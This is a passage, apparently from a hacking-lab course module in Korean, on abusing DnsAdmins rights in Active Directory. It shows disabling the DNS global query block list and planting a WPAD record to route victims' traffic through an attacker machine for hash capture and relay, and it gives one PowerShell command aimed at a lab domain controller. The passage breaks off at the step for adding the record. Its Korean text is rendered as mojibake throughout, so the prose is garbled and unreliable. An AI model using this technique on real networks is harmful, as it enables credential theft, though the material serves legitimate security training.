DnsAdmins ๊ทธ๋ฃน ๊ถŒํ•œ์„ ๋‚จ์šฉํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ WPAD ๋ ˆ์ฝ”๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๊ทธ๋ฃน์˜ ๋ฉค๋ฒ„๊ฐ€ ๋˜๋ฉด ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ๊ณต๊ฒฉ์„ ์ฐจ๋‹จํ•˜๋Š” ๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ณด์•ˆ์„ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋ฉ๋‹ˆ๋‹ค. Server 2008์—์„œ๋Š” DNS ์„œ๋ฒ„์˜ ์ „์—ญ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์ฒ˜์Œ ๋„์ž…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ WPAD(์›น ํ”„๋ก์‹œ ์ž๋™ ๊ฒ€์ƒ‰ ํ”„๋กœํ† ์ฝœ)์™€ ISATAP(์‚ฌ์ดํŠธ ๋‚ด ์ž๋™ ํ„ฐ๋„ ์ฃผ์†Œ ์ง€์ • ํ”„๋กœํ† ์ฝœ)๊ฐ€ ๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก์— ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ”„๋กœํ† ์ฝœ์€ ํ•˜์ด์žฌํ‚น์— ๋งค์šฐ ์ทจ์•ฝํ•˜๋ฉฐ, ๋ชจ๋“  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๋Š” ์ด๋Ÿฌํ•œ ์ด๋ฆ„์ด ํฌํ•จ๋œ ์ปดํ“จํ„ฐ ๊ฐœ์ฒด ๋˜๋Š” DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  WPAD ๋ ˆ์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•˜๋ฉด ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ WPAD๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ชจ๋“  ๋จธ์‹ ์ด ๊ณต๊ฒฉ ๋จธ์‹ ์„ ํ†ตํ•ด ํŠธ๋ž˜ํ”ฝ์„ ํ”„๋ก์‹œํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. Responder ๋˜๋Š” Inveigh์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠธ๋ž˜ํ”ฝ ์Šคํ‘ธํ•‘์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ์บก์ฒ˜ํ•˜์—ฌ ์˜คํ”„๋ผ์ธ์—์„œ ํฌ๋ž˜ํ‚นํ•˜๊ฑฐ๋‚˜ SMBRelay ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก ๋น„ํ™œ์„ฑํ™”ํ•˜๊ธฐ

์ด ๊ณต๊ฒฉ์„ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด ๋จผ์ € ๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก์„ ๋น„ํ™œ์„ฑํ™”ํ–ˆ์Šต๋‹ˆ๋‹ค:

๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก ๋น„ํ™œ์„ฑํ™”ํ•˜๊ธฐ

C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

WPAD ๋ ˆ์ฝ”๋“œ ์ถ”๊ฐ€

๋‹ค์Œ์œผ๋กœ ๊ณต๊ฒฉ ๋จธ์‹ ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” WPAD ๋ ˆ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

WPAD ๋ ˆ์ฝ”๋“œ ์ถ”๊ฐ€

Last updated